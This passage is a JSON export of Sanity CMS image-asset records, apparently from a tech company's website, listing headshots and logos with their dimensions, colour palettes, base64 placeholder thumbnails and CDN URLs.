"}}},"mimeType":"image/jpeg","originalFilename":"logo-target-global.jpg","path":"images/sczeoy4w/production/ee313bded590b2d5a74ac6b8159490ab24192734-856x120.jpg","sha1hash":"ee313bded590b2d5a74ac6b8159490ab24192734","size":14819,"uploadId":"hmWv5jqNclrFCsyAmyZPkrAYiS3rfFAR","url":"https://cdn.sanity.io/images/sczeoy4w/production/ee313bded590b2d5a74ac6b8159490ab24192734-856x120.jpg"} {"_createdAt":"2022-10-26T07:14:20Z","_id":"image-ee4466c9aa887afd5e0f335586ffce88bfc9c1a4-425x427-jpg","_rev":"9EhxcQHTplKyRiLd2YBXWN","_type":"sanity.imageAsset","_updatedAt":"2022-10-26T07:14:20Z","assetId":"ee4466c9aa887afd5e0f335586ffce88bfc9c1a4","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"efK^d0s8?uxuxY~VM|W;RjWYEMs:RPofjZxuj[s:aeRjt6RkWBoKWC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9953161592505855,"height":427,"width":425},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGgABAAIDAQAAAAAAAAAAAAAAAAQGAwUHCP/EACYQAAEEAQIGAgMAAAAAAAAAAAIAAQMEEQUGBxITFCJxITEyUWH/xAAYAQACAwAAAAAAAAAAAAAAAAADBAECBf/EAB4RAAIBAwUAAAAAAAAAAAAAAAABEQIDIgQSEzFR/9oADAMBAAIRAxEAPwDo25r70qcTdbpDKXKRZw+FFqauFa9Q7Gy81WZ+Q2zls+1D4l24KW2wtzDERQys4tIqTtnd4yxh29OOOtWPqGbDhi9f1I0qpuEaGHG57O/gfj8OirWnby0O7TjnDUIBYm/Eyw7P6RE2vwVk8zcbtXu2t+S0JZz7SuLMEbPhm+FpNB16/JLHSKQXr8rty8v6ZET+lSxYC63kYQmk8sE7eT/SIillT//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f3c32","foreground":"#fff","population":3.48,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2a3d59","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d4c4ac","foreground":"#000","population":7.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4c4ac","foreground":"#000","population":7.47,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0b3a4","foreground":"#000","population":1.69,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad7968","foreground":"#fff","population":5.67,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5a7cb0","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"ryan-oconnor.jpg","path":"images/sczeoy4w/production/ee4466c9aa887afd5e0f335586ffce88bfc9c1a4-425x427.jpg","sha1hash":"ee4466c9aa887afd5e0f335586ffce88bfc9c1a4","size":43214,"uploadId":"ltT21sSLPbNfQCAHjD5VSVefFdcyFGy8","url":"https://cdn.sanity.io/images/sczeoy4w/production/ee4466c9aa887afd5e0f335586ffce88bfc9c1a4-425x427.jpg"} {"_createdAt":"2022-09-26T16:07:15Z","_id":"image-ee5cf382d52efc193c54738e0f29703effc65dfe-800x486-png","_rev":"vDQRRYe9nRreptIRp5kDcd","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:36:25Z","assetId":"ee5cf382d52efc193c54738e0f29703effc65dfe","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V8S~t|-=IUt7kC_NozV@t7WARjRibIt7Ri_3WCozRPoz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.646090534979424,"height":486,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA/0lEQVQokZWRSY7FMAhEc/+rduI4GDNDWsnPohc9fWQhLPFUJWpBRFXNzPp3xV1VtTCzmVXVeZ5f+/ffqvCYiBMh3C74DeVMFYW+49HC5D04IhDx2JtMqPCFiP4JZyYz76319mE0KuMNZXdHxH1bJ2xh8hxMVf88WFWp2hhjju6ClXGe58K37fpVOTPNLvLYN8Ge/ohdsIi4+0/OHxLgaOuE3ZUyr5AfeADgGHbpR1XeLu53D5mhwuO44nGlZ+cFC3Nva99WwuEq6eoqYRKvwc1VTFmFVCjCI9zMVNXMLvjYG8Ixx+A5VXjOwYRCk+YQJsLBPEXlFSoRAUDvHQA+AQTUwQKhMJ8xAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#505252","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#653c1e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#505252","foreground":"#fff","population":0.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8ccd4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fccc84","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c7c8c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c4743c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ee5cf382d52efc193c54738e0f29703effc65dfe-800x486.png","path":"images/sczeoy4w/production/ee5cf382d52efc193c54738e0f29703effc65dfe-800x486.png","sha1hash":"ee5cf382d52efc193c54738e0f29703effc65dfe","size":19976,"uploadId":"SYVtfWYHBiMbPCxHzJ0oI1b8D5sjfUBB","url":"https://cdn.sanity.io/images/sczeoy4w/production/ee5cf382d52efc193c54738e0f29703effc65dfe-800x486.png"} {"_createdAt":"2023-03-15T18:59:55Z","_id":"image-ee86d3cbe0535d5621b60d10bbfd1a5db251e6d1-720x720-jpg","_rev":"RksXZeZKLvjmDTh00gTQg3","_type":"sanity.imageAsset","_updatedAt":"2023-03-15T18:59:55Z","assetId":"ee86d3cbe0535d5621b60d10bbfd1a5db251e6d1","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ejBz^mWXB@o#$%lCjYS%oMr:M{kCw@R+R*WYWVoJsoW?SjoLs:WBV?","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":720,"width":720},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAYFA//EACUQAAICAgEDAwUAAAAAAAAAAAECAwQABRIGETETIVEiMkFhcf/EABgBAAMBAQAAAAAAAAAAAAAAAAUGBwME/8QAIxEAAgEEAQMFAAAAAAAAAAAAAQIAAwQFIRIRFDEjQVGR8P/aAAwDAQACEQMRAD8And0ZDS9OFirSuqdx5AJzZuaGnp61OWiZVEq9pFd+QLfIyF6p6hiS9HrEIRi68pSfs98tt7sII9fA62I5xXr8/pb2J+f3hbJ33HI02RjxXz97gPDYzliaqOg5v1I8fGpxxmfqttX2NNLEZKg+xB/BxjclZHUMp0YiPb1KbFGU9RI2hQrbLdbexciEjo5UA+PGSkTPLI0LSSemvIBeXjGMntwfVaVi2A7en+9hLjoe3JHolUBCBI3buv8AMYxm6MQo3OWooLHU/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#203936","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#143c84","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0494e4","foreground":"#fff","population":37.51,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6d0ce","foreground":"#000","population":0.63,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f09b7f","foreground":"#000","population":1.98,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9b6d54","foreground":"#fff","population":2.35,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0494e4","foreground":"#fff","population":37.51,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"kbe headshot.jpg","path":"images/sczeoy4w/production/ee86d3cbe0535d5621b60d10bbfd1a5db251e6d1-720x720.jpg","sha1hash":"ee86d3cbe0535d5621b60d10bbfd1a5db251e6d1","size":82120,"uploadId":"s1XPxnGGUrpbquFABJdQnuGa7sh6ICcF","url":"https://cdn.sanity.io/images/sczeoy4w/production/ee86d3cbe0535d5621b60d10bbfd1a5db251e6d1-720x720.jpg"} {"_createdAt":"2022-06-15T20:02:07Z","_id":"image-ee8ce3adf02b7453f4ac569b2314a80d106b2554-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRri1Mj","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:24:00Z","assetId":"ee8ce3adf02b7453f4ac569b2314a80d106b2554","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOQc0ay?xcDPySGJV@s9W+Wa-iMeNZoxnp","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADCUlEQVQokT2P3XMTZRjF9/9zxhsvvJDhwuFGHEdFvTFoFWGGOuOAVRyqUgYs2EBJaYAi+cJkm5iy283ms93Nbrqf2d33fTfZJBsoLXkeJ6Je/ObcnPnNOZxhBWeUrnVdUa07Xd25ofXcFa3nXrdddiugk7s0jNcJe42w27i/9MOVJ7+u3HysKHqKefY9zzFTPolShMU3iR8tcI1W9xpfFtTC00r4Z6nqb1dET5Ravt7rk4BOGA2njLA5MZNqrfDa8tXh+s+Xh71SmpHWDvMMixE6CUkwMr19J8PVm+odviyEuTyP2VwJ+bKAzbaGtsuQsBhpGP+Tnj9AQZRx7ZclzF98F83Lp9C6uozGow56vQiJN5x6LWOXM6xgras7ZE8xsLPXm6maA04/hIBOgIZTICwG0/JBqjUgl8vDVnIFxOVPQVs4Dc0TP4J0mp9pD3Wklh+FplPkCIuThMWU0AnOJXPBf8yFrjfAZ6IMqY1NTKcfYLGQRfHxFjYubaF0Io+lNzKwe+EpBpI8nHrdDEfI+C5lMaXhFOeCf/P/u6blY7FYws3UbSxkN7FaKaPwQMLWd21sf9ZE/mQWyp+soZ95ODy2hAznd5008Ufha1EMdL6MTYCxMYQsAt/1Yb9ehWbxJ1C3z4PCr0PnhgzaBRWUc23Y/igH1bO3keXSQ7CqGc5v6FuBOwgpHSNjo1lIhzCgDCISwDhwYeKbEJk1GNQvQVR6C2jyczASPKjvd6D24Q6UPkjPWkvrGO8WBugIGY7u6/eDnjnwTAuZa+PYtzH2DXzuaXjY38cjt4WHlojP1SQeVs7g6Psv0Hj7D2y8WcGdk2mUv/odyZNH+Er/K0JHzHIjtX2FtGXJ3ZPN8KDde+HuHRz12wfHbv1g5tS0mSMqx+aO8tIoKUfNDWWyek/pf1xUuu/lle43t1S6saoddQoG2EIDbOE3bmq03xnr9S8jXf52asqLx468OHOkRXDEi+CI58AWzoL9LDHnlSkmXjbExLQgJCaZQuLF9urCrJE8jwY/738NtnDqb2pj4b06TCmAAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#512756","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b920b1","foreground":"#fff","population":5.58,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b920b1","foreground":"#fff","population":5.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cf95b2","foreground":"#000","population":1.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9e05b","foreground":"#000","population":0.07,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b55caa","foreground":"#fff","population":0.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e15e0d","foreground":"#fff","population":1.4,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ee8ce3adf02b7453f4ac569b2314a80d106b2554-1567x844.png","path":"images/sczeoy4w/production/ee8ce3adf02b7453f4ac569b2314a80d106b2554-1567x844.png","sha1hash":"ee8ce3adf02b7453f4ac569b2314a80d106b2554","size":332725,"uploadId":"oZ0p8iGGSCLqcii258tDgkoOnL93igkp","url":"https://cdn.sanity.io/images/sczeoy4w/production/ee8ce3adf02b7453f4ac569b2314a80d106b2554-1567x844.png"} {"_createdAt":"2022-10-25T13:59:05Z","_id":"image-ee94a5a0014192d5c0515e5bc530f275281dec8c-931x444-png","_rev":"W78nexzvCoIeJ1nQtOlpG6","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T13:59:05Z","assetId":"ee94a5a0014192d5c0515e5bc530f275281dec8c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M3S?DV~q.8_3tR~qE1R+M|WBozD*IUxuae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0968468468468466,"height":444,"width":931},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA3klEQVQokX2RS27EMAxDc//TtoglivpNYatNi1n0LQIjEE2Kvu5lMLoH6Qv2KVBjPkT+w/VxqwDuEZmki6oq3J2kqhosItwdgJm5e2bWobuvBarRI6q7qtx9hgDc9y0iz0UA6NtlnLY4q+aq/hGfgSB53PY8/2B0YzCyqq/XoQ9juB2O1VoLMChEBMD5I7ugiMgTe8RDVX3XFAFgiZjZyADb4nthF7Q3fxc/TIpZfkc9BzM7EfbrkJ5V78470WFkT5D5zs4KwhiZv+LuJrnWEpGnnok37FKrMysiz9r5BWpdEAwNvMa1AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#256473","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#205663","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7b7b7b","foreground":"#fff","population":0.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4b9be","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b9dfe8","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7b7b7b","foreground":"#fff","population":0.23,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fa7bf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ee94a5a0014192d5c0515e5bc530f275281dec8c-931x444.png","path":"images/sczeoy4w/production/ee94a5a0014192d5c0515e5bc530f275281dec8c-931x444.png","sha1hash":"ee94a5a0014192d5c0515e5bc530f275281dec8c","size":17614,"uploadId":"hpmPoV7ylMX2HC04RhhvvMauT7y39ZWA","url":"https://cdn.sanity.io/images/sczeoy4w/production/ee94a5a0014192d5c0515e5bc530f275281dec8c-931x444.png"} {"_createdAt":"2023-06-21T08:03:07Z","_id":"image-eea434ebb43f7a992a281c79204842b0362a3ba8-1200x630-jpg","_rev":"DEr13LRm8S6bXdr2YFUSsb","_type":"sanity.imageAsset","_updatedAt":"2023-06-21T08:03:07Z","assetId":"eea434ebb43f7a992a281c79204842b0362a3ba8","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TNcs.%k.:*m:}]l8jDiJeoknaLf,g2g1","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQFAwb/xAAgEAABBAIBBQAAAAAAAAAAAAABAAIDBBExIQUSFCOR/8QAFgEBAQEAAAAAAAAAAAAAAAAABwEF/8QAGhEAAgMBAQAAAAAAAAAAAAAAAAECEVESBP/aAAwDAQACEQMRAD8AoVbFNsbQ6Ilw3xtO1jHJaa6FhaCNFSifSzXxdD05o8eA4GSDyjKTcnQs+ioK9NcytAAcMITUYHYOEKcvTO7WH//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":14.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#945504","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbc37b","foreground":"#000","population":0.14,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":14.81,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"event-driven-programming_meta_preview.jpg","path":"images/sczeoy4w/production/eea434ebb43f7a992a281c79204842b0362a3ba8-1200x630.jpg","sha1hash":"eea434ebb43f7a992a281c79204842b0362a3ba8","size":52793,"uploadId":"KHg0oiHO0zPKrP34C9x5GMYNJiKwQkNi","url":"https://cdn.sanity.io/images/sczeoy4w/production/eea434ebb43f7a992a281c79204842b0362a3ba8-1200x630.jpg"} {"_createdAt":"2022-06-14T14:41:10Z","_id":"image-eeca977bd7d60fe601f4ed9b4ca446bbf5138993-200x200-png","_rev":"0HOthdQkSgJdYc0C9r2hvb","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:10Z","assetId":"eeca977bd7d60fe601f4ed9b4ca446bbf5138993","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eLIFb,D%00xarq00xuODtR-;.Tt7t9Rio#.8RjngfiIU8_n+WBo#t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":200,"width":200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAEwUlEQVQ4jSWP+1MSeQDA9x+56ZoaTUREdxcQkN1FQF6rgQ/ATNMy68yr87reOb3Msil16gq1tFKvuqnU0ivRHuIDz3gdksaUj9STUwPkkWewX+am7rfPL5/5zAfClUxMkcDGaRwBQyhFFGoWmcUhyTStiizJy9pfrDtYrNuXp9IqxTIJVyRmYTjM5tIRNi0JoUEECYsykwlZIiZOlCiQDDVHSXLycxVXKis69Jee375quF3fXH20RJcpEXHEElQoQrmpDJRDY8JxkDxPQOq4Si1bpkKkJKJQojIJWqSR371caX3S6nrx2NHT1nH9XHmRWiZBxZJkYRqcwmMwk7fExW+GFNswhY6bUZCSUchXaDikiqVVCfblk3XHy57qqwfbrvY0XLhVdbByn7ZIS8iksABL4vKSGMy4zTEbIUyOEspkmQ7dWiLIKsU1RVjFHtXlQztvnq14WFv5/EZV17Uz96+caK7af7I8WylDU7gMngCGOYx4ZizEw+lcnIbJGbI8lrpUoNtNVJRn3zj7Y7f+XP/NS8bmuuH2ay/brvxWd/RweU66BEZY8Ww+ky9GBEoESiO28HgxXCxOkJ4gUsGkhrctX3Lyp233ao8811941VQ73H61u/l81bFirUZIpCWzuIksPlOYwSJ38CCxMBZLjcXwOAFB4xN0kRQhM7mlRfL6yl2Pao/36msMLZfu1B0u250hVbAIMcwnEA6ejCsRRT4bSuVvTuXHEMJ4QkjHhQkiEVOh4OwskNccKWi9eKDz+umeluq2G6cOHyxW52DyTFSkQPnpCEbC6RoYguGNCLyJzY7l8Wg4Rk8TMpQkVv7DjmtnD7RdrujQn+y7V2voam1qaSyr2JGtSVGq0fQcllTHkusQiBb3HZ22IYm5iY1u4fPoUllq4e6Sc9U195vqDe11A4/0I4ZHJoutz+K83tpUXpGfux3PyE9RFrBlGhRixG9gJnzPQWIInJWbl33o1Jmalg79g/6nnV1v+jtHX/e+NNmN71cs7tCoa+r37sena45t37tVksXhSxIgDhqD8xNzc5S/nDje/LDjmXnyscXdOjDdazRbxkyDlrd/ONzGubVJX2QuEP6w5BmyWxvbm/f8vFeyNQ3CMWbhru31t+8YbE7bos+29OXl7Hr3pG/A+dHqmh6b+zS08Nm2HJ4KgPkQ+DsE5vzrznn3E+PgxcYGSJ0jPa9v6HfN/uVbd/go6ydqZIkaWFgbmvFYF73jvnXnKvUuQE2ForOh6MdgdDYIpoPUhOfzyKwbKi4rbex+NbT42eKJWDyUxQvMHjC6HB51r9k8/zoD1GQQuELgfSg6FYp+CAKXH7zzgwk/sPsoaM/RMw3PzL0fgsPusNkDbD5gXwVWL2XzhR3+iDMAJkPgXQi4glFXMPrWD2weyu4FNi8YW6agI3Vtv/Y4HphX+qbX/lwBtlXg8FPjfmo8EPkfJr7Jk8HoRDBq94Fhd2RoMWJaokz/RKD6TrO+732Lcb7LuTq4SJk9wL5KjQcoR4Ayeyirhxr3g4lvpjMArB4wsBA2zHwZWIiMuCPQ3RH3LeN844uZ+2+W+2fWTUuU2Rux+yO21Yhp6WvB5gXjAeAMfJ0cW6Fez0d6Z8Kv5iPDi9R/+aWZqSycCt0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f5335","foreground":"#fff","population":9.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4f3c1c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4f5335","foreground":"#fff","population":9.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0b7a4","foreground":"#000","population":5.9,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ceebfa","foreground":"#000","population":8.67,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c6464","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#406094","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"gigi-sayfan.png","path":"images/sczeoy4w/production/eeca977bd7d60fe601f4ed9b4ca446bbf5138993-200x200.png","sha1hash":"eeca977bd7d60fe601f4ed9b4ca446bbf5138993","size":59262,"uploadId":"FtffFfnPxn1VYQnwEEgU4tD48s8IyGoD","url":"https://cdn.sanity.io/images/sczeoy4w/production/eeca977bd7d60fe601f4ed9b4ca446bbf5138993-200x200.png"} {"_createdAt":"2022-09-08T16:32:26Z","_id":"image-eecdd58b5cfe46129c41d00c29bef0e3262e330d-2852x990-png","_rev":"QRl2cGoCgj0FlAhkRriXvd","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:32:26Z","assetId":"eecdd58b5cfe46129c41d00c29bef0e3262e330d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DBSY{oDj8_%MM_?wtQoykCWC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.8808080808080807,"height":990,"width":2852},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA5UlEQVQYlW2N23LDIAwF+f9fTFo7NyeAi0FCEiBfOvaj2519PDvHWGudcyklESml1FqZOaVEmVpr8x9UlZlijIho7EEIAQAyItNOSomJtLVZ9aS2RkRwDIxzznsfQogpwX6YmRkRRERV/32mIy4ixjvrnR29/xnHFCMfIMD+vMdnVRvlvMdFzOfeD3336rvh3gdvmYg5I0wiOM91WdrJea5MgDDVymb4vjyul8fX9X3rJmcpIxHkPNYal4W3TU4uC4tMGUdVMG54fl5P/3nDFBhRhJkzUWyN1rVuWzu5rrUUpDxpo18sd5H22jjtzAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#646467","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6a211a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#edbcb7","foreground":"#000","population":0.34,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfc1b9","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#edbcb7","foreground":"#000","population":0.34,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#88897a","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc4133","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"eecdd58b5cfe46129c41d00c29bef0e3262e330d-2852x990.png","path":"images/sczeoy4w/production/eecdd58b5cfe46129c41d00c29bef0e3262e330d-2852x990.png","sha1hash":"eecdd58b5cfe46129c41d00c29bef0e3262e330d","size":120812,"uploadId":"ad2BFupqpC8VV7APPmAyFtVmetZNSnPZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/eecdd58b5cfe46129c41d00c29bef0e3262e330d-2852x990.png"} {"_createdAt":"2022-07-06T08:12:07Z","_id":"image-eee325570196ed0e66e3b2d2e7916aa56c51a7e6-64x64-svg","_rev":"qkpX9b3U0TpOGFQp9fOgma","_type":"sanity.imageAsset","_updatedAt":"2022-07-06T08:20:31Z","altText":"Aiven for InfluxDB® logo","assetId":"eee325570196ed0e66e3b2d2e7916aa56c51a7e6","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":64,"width":64},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEY0lEQVQ4jXWVXU9UVxSGNxf8APwR9K7elDlnZhjme4giFpQKlQpxEipTMVDHooKoM8NQxKYXNU0/UtKkSaO2Z681gxpFBTVWWzE2UhUF2iqComn5COlgsLDf5oygI9WLk3P3ZK3s932W8BmlwmesE4Gj5cIjK7I8cuMKj3zP5ZbVMZcM9jplzVgBhZ44qG7WQfVj+RTusVNj1Ea7XVZuzrFyc5YuI0LjqNA4JoRPlonADyXmP9srN7zhlRUhj6yUblk15JLBaaesmXNSaMFBdQsOapjLp/CUnRoHbdwkrbynVud9uTpHst86HBc6RYRwnwgJn1GS7ZPrVvrkO61eWdHvkZUpt6yCSwbhoho4KYQC2gYHNyCfw7DTTti4KWXlln6d97dqHF2pJeLZ9sP1QvhlcZbfeDvXL0tjPlk27JXl8x6qhJuqlJuCykU1qoBqlYPqlIMbVD6HlZ13Khs1wcp753WODGsci2kcz7VQW5YIGGtW+I21Ib8s7ffJsnmvLFceqlRuWaWccjOcskZ5eKtyJ+rTQDtth43SQGXlvUrnyLzGrdct3FZr4fYcE+gKGGulX5akfLIMS0APVaMwsUVt7G7CR5cOofHyl9h4pg3e5C5zQnPlJSA0jqcs/LFh4QNOETCKogGjeNAvS+CTZcoEeqkSa7q2qK3nW/H1TcLFB9dx6eENdA6cxAcXPkfhsX3Kxs1YBCqN47Ak2gfzuCMiCo2inoBRPJUBRGGiWr3fswedtwi/jP+G25P3cGdyBFce3UbnQDc2934GZ3KvOSEygFN5iY6zotBYPRYwiucyJ1x3vBbxvi9wbrQPIzMPMZ76G+OpCYzMPEbvWD8iV49g9Yk4rPTShHN53DFqAmcDRvGCCfTLMuWR5aryVD06b/2Iq49vYjz1F54u/Jv+HqUmceXxIL661Y313Z9Apxalc/QZkNsX8vjgrAl88jJwg9rUvR1y+BQGJv7A8PR9/PN0FqmnTz